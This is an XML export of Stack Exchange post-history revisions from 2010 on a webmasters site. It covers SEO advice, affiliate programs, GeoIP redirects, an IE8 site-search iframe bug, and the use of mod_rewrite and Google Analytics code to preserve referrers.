  <row Id="9251" PostHistoryTypeId="2" PostId="4669" RevisionGUID="cc5e169a-7864-4387-bf89-7b4477489e9d" CreationDate="2010-10-30T20:18:25.403" UserId="2730" Text="I use [Amazon Affiliate Program][1] on one of my websites, and find their aStore (iframe shop in your website) especially interesting.&#xD;&#xA;&#xD;&#xA;But in general, when you have a product that you are writing about -- try going to the company webpage and check if they have a link to their affiliate program at the bottom.&#xD;&#xA;&#xD;&#xA;Most big companies use [CommissionJunction][2], some smaller ones use [Google Affiliate Network][3] ... but there are hundreds of those out there. The important bit is to read the terms of service and note what will you be getting from the clicks on the affiliate links.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://affiliate-program.amazon.com/&#xD;&#xA;  [2]: http://www.cj.com/&#xD;&#xA;  [3]: http://google.com/affiliatenetwork/" />
  <row Id="9252" PostHistoryTypeId="5" PostId="4666" RevisionGUID="fbb12367-7c22-4250-8865-7ade94f18141" CreationDate="2010-10-30T20:29:35.340" UserId="108" Comment="deleted 11 characters in body" Text="I want to list my web page in Google, Yahoo and other popular search engines and get on the first page? What can I do? So can you please tell me the ways of SEO and suggest any tutorials I would need to become good at SEO?" />
  <row Id="9253" PostHistoryTypeId="16" PostId="4666" RevisionGUID="fbb12367-7c22-4250-8865-7ade94f18141" CreationDate="2010-10-30T20:29:54.717" UserId="108" />
  <row Id="9254" PostHistoryTypeId="16" PostId="4668" RevisionGUID="b03e987a-b4a1-428f-87be-9c1829c73ccb" CreationDate="2010-10-30T20:30:52.517" UserId="108" />
  <row Id="9255" PostHistoryTypeId="2" PostId="4670" RevisionGUID="a178f64c-b4a4-434a-ba49-6fa670e0559e" CreationDate="2010-10-30T20:37:20.500" UserId="1253" Text="There actually is very little to SEO contrary to what many will have you believe. SEO is mostly:&#xD;&#xA;&#xD;&#xA; - quality content&#xD;&#xA; - usability&#xD;&#xA; - accessibility&#xD;&#xA; - semantic markup&#xD;&#xA;&#xD;&#xA;If your site is built with the four principles in mind your site will be optimized for the search engines. If you have to go back and &quot;SEO your website&quot; then you made mistakes when you first built it and only are fixing it (or making it worse if your changes are only being made with the search engines in mind).&#xD;&#xA;&#xD;&#xA;Once a properly built website is launched the only real SEO to be done is to utilize tools like Google Webmaster Tools to help facilitate the indexing of your site and find potential errors or problems that the search engines have with your site. Then from there it's continually adding new quality content (if applicable) and marketing (seeking links is marketing).&#xD;&#xA;&#xD;&#xA;Reading Google Webmaster and SEO blogs are a good idea as is Matt Cutts blog. I don't recommend seobook, seochar,or most other sites like them.  They want you to believe that SEO is constantly changing and you need to spend a lot of time and effort (and money) to rank well. It's not true. The basics of SEO hasn't changed in a very long time. As a rule, if an SEO site is trying to take your money they probably aren't a good source of information. If you're looking for a good site checkout [websitepublisher.net](htttp://websitepublisher.net). It's got accurate and unbiased information and I highly recommend it.&#xD;&#xA;&#xD;&#xA;As for your question, getting on the first page of a search engine can be easy or difficult dependong on the search term you are aiming for. The more competitive the longer it will take to accomplish and the more difficult it will be (if it can even be done at all). Less competitive search terms are easier to rank well for and can be accomplished more quickly. They also will deliver less traffic. Either way you need to be patient and work hard. There are no shortcuts or special tools that will make you rank well. Those four principles combined with good marketing and patience will ultimately pay off." />
  <row Id="9256" PostHistoryTypeId="2" PostId="4671" RevisionGUID="2bd3177a-021a-41a7-bd5d-0af1a064ab6a" CreationDate="2010-10-30T20:41:03.757" UserId="1253" Text="If you have the same content on two subdomains then you have duplicate content. One will be filtered out as a result. That seems to explain your issues if I am understanding your question properly. If not update your questions so we can better answer it for you.&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;&#xD;&#xA;If you mean you have two subdomains with different content then one will not affect the other. All pages are judged on their own merit so if your pages in one subdomain do not rank well it may be because they do not deserve to rank well (yet). It may also be something causing them to not be reachable by the search engines. Google webmaster tools will tall you if that is the case." />
  <row Id="9257" PostHistoryTypeId="2" PostId="4672" RevisionGUID="078e67aa-faae-4b5e-b24c-2ddba303dc1a" CreationDate="2010-10-30T21:21:11.930" UserId="2730" Text="You might also try one of their [reseller registrars][1]. In some cases resellers sell domains cheaper than the root authority, so it is worth checking out.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://nic.io/registrars.html" />
  <row Id="9259" PostHistoryTypeId="2" PostId="4674" RevisionGUID="83785e86-e56c-4f92-979c-91bc20d91cc3" CreationDate="2010-10-30T21:35:39.463" UserId="2831" Text="I use Google site search in a IFrame for my sites search engine. When I search for something in Chrome/FireFox &quot;Flight&quot; I get the results page. When I do the same search in IE8 I get 404 error. &#xD;&#xA;&#xD;&#xA;Site: http://www.everydayfiction.com/&#xD;&#xA;Search box is on the right hand side in the sidebar. &#xD;&#xA;&#xD;&#xA;The strange thing is that in IE8 when I do the search I get the following URL: &#xD;&#xA;http://www.everydayfiction.com/search/?cx=007529419963335588653%3Axv8pw52zy20&amp;cof=FORID%3A9&amp;ie=UTF-8&amp;q=Flight&#xD;&#xA;&#xD;&#xA;But when I do the same search in Chrome/Firefox I get this URL: &#xD;&#xA;http://www.everydayfiction.com/search/?cx=007529419963335588653:xv8pw52zy20&amp;cof=FORID:9&amp;ie=UTF-8&amp;q=Flight&amp;sa=Search&amp;siteurl=www.everydayfiction.com/search/%3Fcx%3D007529419963335588653%253Axv8pw52zy20%26cof%3DFORID%253A9%26ie%3DUTF-8%26q%3Dfight%26sa%3DSearch &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What is going on? &#xD;&#xA;How do I resolve this?&#xD;&#xA;Suggestion? comments? " />
  <row Id="9260" PostHistoryTypeId="1" PostId="4674" RevisionGUID="83785e86-e56c-4f92-979c-91bc20d91cc3" CreationDate="2010-10-30T21:35:39.463" UserId="2831" Text="Google Search iFrame works in Chrome and firefox but not IE8 " />
  <row Id="9261" PostHistoryTypeId="3" PostId="4674" RevisionGUID="83785e86-e56c-4f92-979c-91bc20d91cc3" CreationDate="2010-10-30T21:35:39.463" UserId="2831" Text="&lt;google&gt;&lt;javascript&gt;&lt;internet-explorer&gt;&lt;search&gt;&lt;chrome&gt;" />
  <row Id="9262" PostHistoryTypeId="2" PostId="4675" RevisionGUID="02d51bd1-d049-477a-b98f-5bdd12e1a254" CreationDate="2010-10-30T22:07:16.863" UserId="2730" Text="If you want to redirect your users to different websites according to their GeoIP, you will need to first know where the users are located.&#xD;&#xA;&#xD;&#xA;You can use a database and some custom coding of your own to redirect users to other domains according to their IP, an example of such a database can be downloaded from [MaxMind GeoIP Country][1]. Then your domain.com can redirect to domain.co.uk if the visitor is coming from the UK.&#xD;&#xA;&#xD;&#xA;You might find it interesting to see how Google does their [IP Delivery][2] and maybe follow their suggestions.&#xD;&#xA;&#xD;&#xA;If you need more accurate information than just visitor country, like city, lat/lng, etc... you will probably need to pay for a GeoIP API from a company that do that kind of thing. Some companies for example that do this are [MaxMind][3] and [Quova][4], but there are probably others as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Keeping the exactly same domain name but different hosting for people coming from different countries will require magic in the DNS that answers queries for your domain from each country. It is not really possible to arrange something like this unless you are indeed a CDN (like other answers mentioned). But you can create different subdomains like us.domain.com, uk.domain.com, fr.domain.com, etc... and use the technique above.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.maxmind.com/app/geoip_country&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2008/06/how-google-defines-ip-delivery.html&#xD;&#xA;  [3]: http://www.maxmind.com/app/ip-location&#xD;&#xA;  [4]: http://www.quova.com/" />
  <row Id="9263" PostHistoryTypeId="2" PostId="4676" RevisionGUID="2d90c5fa-318e-4d21-93d8-59608eecdd66" CreationDate="2010-10-30T22:36:28.687" UserId="1243" Text="Your search works OK for me in Chrome, Firefox AND IE8 - I get the same results in all browsers. I get the short URL in the address bar in all browsers, of the form:&#xD;&#xA;&#xD;&#xA;    http://www.everydayfiction.com/search/?  &#xD;&#xA;    cx=007529419963335588653%3Axv8pw52zy20&amp;cof=FORID%3A9&amp;ie=UTF-8&amp;q=Flight&#xD;&#xA;&#xD;&#xA;If I view the frame source in Chrome then I get a long URL _similar_ to the long URL you have posted but `rurl=` instead of `siteurl=`&#xD;&#xA;&#xD;&#xA;My initial thought was that may be you have third party cookies disabled in IE8 (although TBH I'm not sure why that would produce a 404!?), but I have third party cookies disabled in Chrome and it still works OK." />
  <row Id="9264" PostHistoryTypeId="5" PostId="4667" RevisionGUID="e5a1cf6b-e465-40a5-ba0f-945c17122541" CreationDate="2010-10-30T22:51:02.627" UserId="2730" Comment="add better rewrite conditions to check if a referrer exists before using it; deleted 12 characters in body" Text="You can override the referrer that Google Analytics is using, read more in the documentation for [_setReferrerOverride][1].&#xD;&#xA;&#xD;&#xA;To somehow provide this correct referrer, you need to pass it via the 301 redirect. I can suggest adding a query parameter to your redirected url, and writing a javascript snippet that will extract this information from the document.location.&#xD;&#xA;&#xD;&#xA;A full example of using mod_rewrite to transfer the referrer, if a referrer exists:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^domain.com\.com$ [NC]&#xD;&#xA;    RewriteCond %{HTTP_REFERER} !^$&#xD;&#xA;    RewriteCond %{HTTP_REFERER} (.*)&#xD;&#xA;    RewriteRule ^(.*)$ http://shop.domain.com/$1?from=%1 [R=301,QSA,L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^domain\.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://shop.domain.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;You will need to repeat the above for www.domain.com as well.&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/gaJS/gaJSApiCampaignTracking.html#_gat.GA_Tracker_._setReferrerOverride" />
  <row Id="9265" PostHistoryTypeId="5" PostId="4667" RevisionGUID="cdce69d3-d879-4235-a1e6-559916bf3c70" CreationDate="2010-10-30T23:03:25.967" UserId="2730" Comment="added 378 characters in body" Text="You can override the referrer that Google Analytics is using, read more in the documentation for [_setReferrerOverride][1].&#xD;&#xA;&#xD;&#xA;To somehow provide this correct referrer, you need to pass it via the 301 redirect. I can suggest adding a query parameter to your redirected url, and writing a javascript snippet that will extract this information from the document.location.&#xD;&#xA;&#xD;&#xA;An example of adding javascript to your GA code:&#xD;&#xA;&#xD;&#xA;    var _gaq = _gaq || [];&#xD;&#xA;    _gaq.push(['_setAccount', 'UA-XXXXXXXX-1']);&#xD;&#xA;    var _from = window.location.href.slice(window.location.href.indexOf('?')+1).split('&amp;')['from'];&#xD;&#xA;    if (_from &amp;&amp; _from.length &gt; 0) {&#xD;&#xA;      _gaq.push(['_setReferrerOverride',decodeURI(_from)]);&#xD;&#xA;    }&#xD;&#xA;    _gaq.push(['_trackPageview']);&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And, an example of using mod_rewrite to transfer the referrer, if a referrer exists:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^domain.com\.com$ [NC]&#xD;&#xA;    RewriteCond %{HTTP_REFERER} !^$&#xD;&#xA;    RewriteCond %{HTTP_REFERER} (.*)&#xD;&#xA;    RewriteRule ^(.*)$ http://shop.domain.com/$1?from=%1 [R=301,QSA,L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^domain\.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://shop.domain.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;You will need to repeat the above for www.domain.com as well.&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/gaJS/gaJSApiCampaignTracking.html#_gat.GA_Tracker_._setReferrerOverride" />
  <row Id="9266" PostHistoryTypeId="5" PostId="4666" RevisionGUID="fc8c546e-dd3e-46a1-9f1c-f4cb39e8d493" CreationDate="2010-10-30T23:24:24.187" UserId="198" Comment="deleted 3 characters in body; edited title" Text="I want to list my web page in Google, Yahoo and other popular search engines and get on the first page. What can I do? Can you please tell me the ways of SEO and suggest any tutorials I would need to become good at SEO?" />
  <row Id="9267" PostHistoryTypeId="4" PostId="4666" RevisionGUID="fc8c546e-dd3e-46a1-9f1c-f4cb39e8d493" CreationDate="2010-10-30T23:24:24.187" UserId="198" Comment="deleted 3 characters in body; edited title" Text="How to get my page onto Google's, Yahoo's, and other search engines' first page?" />
  <row Id="9268" PostHistoryTypeId="5" PostId="4667" RevisionGUID="b37a2f57-9381-476c-aee9-00c5b4717282" CreationDate="2010-10-30T23:30:12.923" UserId="2730" Comment="added 42 characters in body; added 1 characters in body" Text="You can override the referrer that Google Analytics is using, read more in the documentation for [_setReferrerOverride][1].&#xD;&#xA;&#xD;&#xA;To somehow provide this correct referrer, you need to pass it via the 301 redirect. I can suggest adding a query parameter to your redirected url, and writing a javascript snippet that will extract this information from the document.location.&#xD;&#xA;&#xD;&#xA;An example of adding javascript to your GA code (using code from the [getUrlVars()][2] snippet):&#xD;&#xA;&#xD;&#xA;    var _gaq = _gaq || [];&#xD;&#xA;    _gaq.push(['_setAccount', 'UA-XXXXXXXX-1']);&#xD;&#xA;    var _from = getUrlVars()['from'];&#xD;&#xA;    if (_from &amp;&amp; _from.length &gt; 0) {&#xD;&#xA;      _gaq.push(['_setReferrerOverride',decodeURI(_from)]);&#xD;&#xA;    }&#xD;&#xA;    _gaq.push(['_trackPageview']);&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And, an example of using mod_rewrite to transfer the referrer, if a referrer exists:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^domain.com\.com$ [NC]&#xD;&#xA;    RewriteCond %{HTTP_REFERER} !^$&#xD;&#xA;    RewriteCond %{HTTP_REFERER} (.*)&#xD;&#xA;    RewriteRule ^(.*)$ http://shop.domain.com/$1?from=%1 [R=301,QSA,L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^domain\.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://shop.domain.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;You will need to repeat the above for www.domain.com as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/gaJS/gaJSApiCampaignTracking.html#_gat.GA_Tracker_._setReferrerOverride&#xD;&#xA;  [2]: http://snipplr.com/view/799/get-url-variables/" />
  <row Id="9269" PostHistoryTypeId="2" PostId="4677" RevisionGUID="2418a50d-d101-4af4-8563-e9c9cad31f26" CreationDate="2010-10-30T23:42:34.187" UserId="1064" Text="Looks like you have a mod_rewrite or script-based directive which is forcing the 404 error - the error itself is generated at the webserver level, not by any client-side code (i.e. Google SiteSearch)." />
  <row Id="9270" PostHistoryTypeId="5" PostId="4667" RevisionGUID="83f08b3f-db27-4139-87c8-f518854ba30b" CreationDate="2010-10-30T23:53:07.683" UserId="2730" Comment="deleted 6 characters in body; deleted 11 characters in body" Text="You can override the referrer that Google Analytics is using, read more in the documentation for [_setReferrerOverride][1].&#xD;&#xA;&#xD;&#xA;To somehow provide this correct referrer, you need to pass it via the 301 redirect. I can suggest adding a query parameter to your redirected url, and writing a javascript snippet that will extract this information from the document.location.&#xD;&#xA;&#xD;&#xA;An example of adding javascript to your GA code:&#xD;&#xA;&#xD;&#xA;    var _gaq = _gaq || [];&#xD;&#xA;    _gaq.push(['_setAccount', 'UA-XXXXXXXX-1']);&#xD;&#xA;    var _from = unescape(window.location.href.replace(/.*[?&amp;]from=(.*)/,'$1'));&#xD;&#xA;    if (_from &amp;&amp; _from.length &gt; 0) {&#xD;&#xA;      _gaq.push(['_setReferrerOverride',_from]);&#xD;&#xA;    }&#xD;&#xA;    _gaq.push(['_trackPageview']);&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And, an example of using mod_rewrite to transfer the referrer, if a referrer exists:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^domain.com\.com$ [NC]&#xD;&#xA;    RewriteCond %{HTTP_REFERER} !^$&#xD;&#xA;    RewriteCond %{HTTP_REFERER} (.*)&#xD;&#xA;    RewriteRule ^(.*)$ http://shop.domain.com/$1?from=%1 [R=301,QSA,L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^domain\.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://shop.domain.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;You will need to repeat the above for www.domain.com as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/gaJS/gaJSApiCampaignTracking.html#_gat.GA_Tracker_._setReferrerOverride&#xD;&#xA;  [2]: http://snipplr.com/view/799/get-url-variables/" />
  <row Id="9271" PostHistoryTypeId="2" PostId="4678" RevisionGUID="d4fe17f9-5617-42b2-832a-7252ca51cf03" CreationDate="2010-10-31T00:19:30.897" UserId="2288" Text="**Examples:**&#xD;&#xA;&#xD;&#xA;  - [http://www.google.com/search?q=related:stackexchange.com][1]&#xD;&#xA;  - [http://www.google.com/search?q=related:google.com][2]&#xD;&#xA;  - [http://www.google.com/search?q=related:bing.com][3]&#xD;&#xA;&#xD;&#xA;If if has no meaning, is there a online tool that will generate a list of related TLDs?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=related:stackexchange.com&#xD;&#xA;  [2]: http://www.google.com/search?q=related:google.com&#xD;&#xA;  [3]: http://www.google.com/search?q=related:bing.com" />
  <row Id="9272" PostHistoryTypeId="1" PostId="4678" RevisionGUID="d4fe17f9-5617-42b2-832a-7252ca51cf03" CreationDate="2010-10-31T00:19:30.897" UserId="2288" Text="What is the semantic meaning of the Google search operator &quot;related:domain.TLD&quot; as it relates to SEO?" />
  <row Id="9273" PostHistoryTypeId="3" PostId="4678" RevisionGUID="d4fe17f9-5617-42b2-832a-7252ca51cf03" CreationDate="2010-10-31T00:19:30.897" UserId="2288" Text="&lt;seo&gt;" />
  <row Id="9274" PostHistoryTypeId="2" PostId="4679" RevisionGUID="7bda3307-384a-4940-bf09-84cfc67fdd36" CreationDate="2010-10-31T00:21:44.933" UserId="2707" Text="A little bit of an aside, but why do you still want to use the www domain? It's no longer necessary and adds more bloat to your url. Check out the no-www project for more info.&#xD;&#xA;&#xD;&#xA;http://no-www.org/&#xD;&#xA;&#xD;&#xA;As to your problem, give Google sometime to reindex your site and be happy that your site is still showing up twice in the results." />
  <row Id="9275" PostHistoryTypeId="2" PostId="4680" RevisionGUID="3963dd96-c600-4232-ad24-ab1044891e76" CreationDate="2010-10-31T00:53:40.730" UserId="221" Text="In addition to Evgeny's very good points, it should be noted that the [Google Webmaster's tool][1] allows you to specify a preferred domain, either with or without the www prefixes. Google's explanation of this option follows:&#xD;&#xA;&#xD;&#xA;&gt; The preferred domain is the one that&#xD;&#xA;&gt; you would like used to index your&#xD;&#xA;&gt; site's pages. If you specify your&#xD;&#xA;&gt; preferred domain as&#xD;&#xA;&gt; http://www.example.com and we find a&#xD;&#xA;&gt; link to your site that is formatted as&#xD;&#xA;&gt; http://example.com , we'll treat that&#xD;&#xA;&gt; link as if it was&#xD;&#xA;&gt; http://www.example.com . In addition,&#xD;&#xA;&gt; we'll take your preference into&#xD;&#xA;&gt; account when displaying URLs in our&#xD;&#xA;&gt; search results. It may take some time&#xD;&#xA;&gt; for changes to be reflected in our&#xD;&#xA;&gt; index.&#xD;&#xA;&#xD;&#xA;You'll find the option under &quot;Site Configurations\Settings&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/" />
  <row Id="9276" PostHistoryTypeId="2" PostId="4681" RevisionGUID="beadba31-6619-4962-9d3f-742ef00a6f6d" CreationDate="2010-10-31T01:02:49.500" UserId="2730" Text="According to [GoogleGuide.com/Similar_Pages][1]:&#xD;&#xA;&#xD;&#xA;&gt; How does Google find similar pages?&#xD;&#xA;  By finding other sites listed on pages that link to the specified page.  ...  related: search operator, returns the same results as the Similar pages link.&#xD;&#xA;&#xD;&#xA;So there is nothing that has anything to do with TLD, and everything that has to do with links that reside with the link to a particular website on the same page.&#xD;&#xA;&#xD;&#xA;How you want to relate this to SEO is up to you I guess.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PS: I doubt it is so simplistic as GoogleGuide describe, there are probably more heuristics and criteria used by Google to find similar pages - but we will never know these criteria. (based on their blog post about [discovering similar pages][2]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.googleguide.com/similar_pages.html&#xD;&#xA;  [2]: http://googleblog.blogspot.com/2010/04/discovering-pages-similar-to-ones-that.html" />
  <row Id="9277" PostHistoryTypeId="2" PostId="4682" RevisionGUID="27fea374-1261-44d5-a7b8-b41bffd8d7ad" CreationDate="2010-10-31T01:56:47.093" UserId="2288" Text="One thing I know for sure is that even if a site only had one keyword on it, it would be possible to rank for more than one keyword; in theory, based on the fact that a keyword being in the text of a site is not a requirement for the site to rank on that keyword. Which means that you can't even use the site's own text as a 100% based line for mapping a site's rankings across all possible keywords." />
  <row Id="9278" PostHistoryTypeId="1" PostId="4682" RevisionGUID="27fea374-1261-44d5-a7b8-b41bffd8d7ad" CreationDate="2010-10-31T01:56:47.093" UserId="2288" Text="Is it possible to find all the keywords for a site that rank it in the top 10 results? If so, how?" />
  <row Id="9279" PostHistoryTypeId="3" PostId="4682" RevisionGUID="27fea374-1261-44d5-a7b8-b41bffd8d7ad" CreationDate="2010-10-31T01:56:47.093" UserId="2288" Text="&lt;seo&gt;" />
  <row Id="9280" PostHistoryTypeId="2" PostId="4683" RevisionGUID="a79e386e-6e95-4c13-8597-f8dbd0816fff" CreationDate="2010-10-31T01:59:13.563" UserId="2288" Text="For example, PageRank." />
  <row Id="9281" PostHistoryTypeId="1" PostId="4683" RevisionGUID="a79e386e-6e95-4c13-8597-f8dbd0816fff" CreationDate="2010-10-31T01:59:13.563" UserId="2288" Text="What are the most useless metrics to track in SEO?" />
  <row Id="9282" PostHistoryTypeId="3" PostId="4683" RevisionGUID="a79e386e-6e95-4c13-8597-f8dbd0816fff" CreationDate="2010-10-31T01:59:13.563" UserId="2288" Text="&lt;seo&gt;" />
  <row Id="9283" PostHistoryTypeId="2" PostId="4684" RevisionGUID="592f69ec-1952-42c2-aa24-336942c31f1d" CreationDate="2010-10-31T02:13:18.897" UserId="2730" Text="You can use tools to show incoming links to the site, and check the anchor text of those links. Yahoo site explorer is commonly used for this.&#xD;&#xA;&#xD;&#xA;Then you can also check the keyword density on every page of the site and pick the keywords that show up most often.&#xD;&#xA;&#xD;&#xA;Finally, if you own the website then google webmaster tools is your friend. It shows both the probable keywords you rank for and actual terms people used to find your site. Google analytics or any other analytics software can also help with this." />
  <row Id="9284" PostHistoryTypeId="4" PostId="4683" RevisionGUID="461c5351-f4c2-41b8-a4d3-94cd954cf058" CreationDate="2010-10-31T02:14:57.490" UserId="2288" Comment="edited title" Text="What are the most useless matrices to track in SEO?" />
  <row Id="9285" PostHistoryTypeId="2" PostId="4685" RevisionGUID="85037359-45b4-41a2-9a90-8ddbb61a8afb" CreationDate="2010-10-31T02:23:48.510" UserId="2730" Text="I would suggest you take a look at Atlassian Confluence wiki, many establishments use it as their internal website and knowledgebase. And the windows authentication is built-in as far as I know." />
  <row Id="9286" PostHistoryTypeId="6" PostId="4583" RevisionGUID="42ae6b58-b0db-4d38-91e9-37e8b673ea8d" CreationDate="2010-10-31T02:29:22.263" UserId="2730" Comment="edited tags" Text="&lt;cms&gt;&lt;iis7&gt;&lt;intranet&gt;" />
  <row Id="9287" PostHistoryTypeId="5" PostId="4683" RevisionGUID="5600a346-573a-412e-999c-d2a6bc772e8d" CreationDate="2010-10-31T02:36:29.680" UserId="2288" Comment="added 71 characters in body" Text="For example, &lt;strike&gt;PageRank&lt;/strike&gt;... :-) ...question, still stands, just no example now." />
  <row Id="9288" PostHistoryTypeId="2" PostId="4686" RevisionGUID="497d9228-463e-452d-8baa-e9366414f536" CreationDate="2010-10-31T02:38:52.337" UserId="1253" Text="If it's your website a great place to see what you rank well for is your site stats. It doesn't break down which terms are top ten but it does show what people are using to find your site. You can then use any number of tracking tools to tell you where you rank for those keywords quickly and easily. That's more useful then knowing only which ones are top ten because:&#xD;&#xA;&#xD;&#xA; - being in the to 30 (e.g. first three pages) is considered where you want to be. Yes, being top ten is ideal but statistic show you can get good traffic up to position 30. That's where results drop off dramatically.&#xD;&#xA;&#xD;&#xA; - if they are not already #1 you can consider tweaking your pages to improve those rankings to drive even more traffic in. You know you're in good shape already and if you can identify areas of improvement you can then be sure those pages are optimized to deliver maximum traffic" />
  <row Id="9289" PostHistoryTypeId="5" PostId="4670" RevisionGUID="77e1ed64-5956-492c-bf38-2f11e0bcdca6" CreationDate="2010-10-31T02:47:44.730" UserId="1253" Comment="added 233 characters in body" Text="There actually is very little to SEO contrary to what many will have you believe. SEO is mostly:&#xD;&#xA;&#xD;&#xA; - quality content&#xD;&#xA; - usability&#xD;&#xA; - accessibility&#xD;&#xA; - semantic markup&#xD;&#xA;&#xD;&#xA;If your site is built with the four principles in mind your site will be optimized for the search engines. If you have to go back and &quot;SEO your website&quot; then you made mistakes when you first built it and only are fixing it (or making it worse if your changes are only being made with the search engines in mind).&#xD;&#xA;&#xD;&#xA;Once a properly built website is launched the only real SEO to be done is to utilize tools like [Google Webmaster Tools][1] to help facilitate the indexing of your site and find potential errors or problems that the search engines have with your site. Then from there it's continually adding new quality content (if applicable) and marketing (seeking links is marketing).&#xD;&#xA;&#xD;&#xA;Reading [Google Webmaster][2] and SEO blogs are a good idea as is [Matt Cutts blog][3]. I don't recommend seobook, seochar,or most other sites like them.  They want you to believe that SEO is constantly changing and you need to spend a lot of time and effort (and money) to rank well. It's not true. The basics of SEO hasn't changed in a very long time. As a rule, if an SEO site is trying to take your money they probably aren't a good source of information. If you're looking for a good site checkout [websitepublisher.net](http://websitepublisher.net). It's got accurate and unbiased information and I highly recommend it. Especially the [SEO guide][4]).&#xD;&#xA;&#xD;&#xA;As for your question, getting on the first page of a search engine can be easy or difficult depending on the search term you are aiming for. The more competitive the longer it will take to accomplish and the more difficult it will be (if it can even be done at all). Less competitive search terms are easier to rank well for and can be accomplished more quickly. They also will deliver less traffic. Either way you need to be patient and work hard. There are no shortcuts or special tools that will make you rank well. Those four principles combined with good marketing and patience will ultimately pay off.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/&#xD;&#xA;  [3]: http://www.mattcutts.com/blog&#xD;&#xA;  [4]: http://www.websitepublisher.net/seo-guide/" />
  <row Id="9290" PostHistoryTypeId="5" PostId="4660" RevisionGUID="26f50ca2-e943-4da6-aa0c-007fa40ef810" CreationDate="2010-10-31T02:51:26.867" UserId="40" Comment="added 161 characters in body" Text="I have two subdomains for the same website. One has quite a high page rank, the other does not register. Is there anything that I need to think about in regards of SEO in this scenario?&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;Example: `blog.example.com` and `drupal.example.com` are two aliases for the same content. The first has a very high page rank, the second has none." />
  <row Id="9291" PostHistoryTypeId="5" PostId="4683" RevisionGUID="4566307f-2712-482f-a6b6-ce4b6d33755a" CreationDate="2010-10-31T03:00:15.983" UserId="2288" Comment="added 9 characters in body" Text="For example, &lt;strike&gt;PageRank&lt;/strike&gt; (or not)... :-) ...question, still stands, just no example now." />
  <row Id="9292" PostHistoryTypeId="5" PostId="4686" RevisionGUID="1def75b2-b29e-4270-8db2-67c09ab3c2b8" CreationDate="2010-10-31T03:01:50.787" UserId="1253" Comment="added 276 characters in body" Text="If it's your website a great place to see what you rank well for is your site stats. It doesn't break down which terms are top ten but it does show what people are using to find your site. You can then use any number of tracking tools to tell you where you rank for those keywords quickly and easily. That's more useful then knowing only which ones are top ten because:&#xD;&#xA;&#xD;&#xA; - being in the to 30 (e.g. first three pages) is considered where you want to be. Yes, being top ten is ideal but statistic show you can get good traffic up to position 30. That's where results drop off dramatically.&#xD;&#xA;&#xD;&#xA; - if they are not already #1 you can consider tweaking your pages to improve those rankings to drive even more traffic in. You know you're in good shape already and if you can identify areas of improvement you can then be sure those pages are optimized to deliver maximum traffic&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;External sites are difficult to do because you don't have any access to their data. What you could do is check to see where they rank on the keywords you rank well for and are trying to rank well for. The more they match the more they are a competitor to you. " />
  <row Id="9293" PostHistoryTypeId="16" PostId="4683" RevisionGUID="cb4a14a0-d17a-40d9-9b7f-6ba39ec0e99f" CreationDate="2010-10-31T03:03:55.853" UserId="1253" />
  <row Id="9294" PostHistoryTypeId="6" PostId="4682" RevisionGUID="719ac21f-28d6-4b6c-ad7c-0fe8a38309dc" CreationDate="2010-10-31T03:08:30.013" UserId="2730" Comment="edited tags" Text="&lt;seo&gt;&lt;competitors&gt;" />
  <row Id="9295" PostHistoryTypeId="4" PostId="4683" RevisionGUID="30dc61fd-52bf-40f0-a1d0-656a5bee5b6f" CreationDate="2010-10-31T03:11:45.237" UserId="2730" Comment="edited title; added 145 characters in body; edited title" Text="What are the most usefull and useless metrics to track in SEO?" />
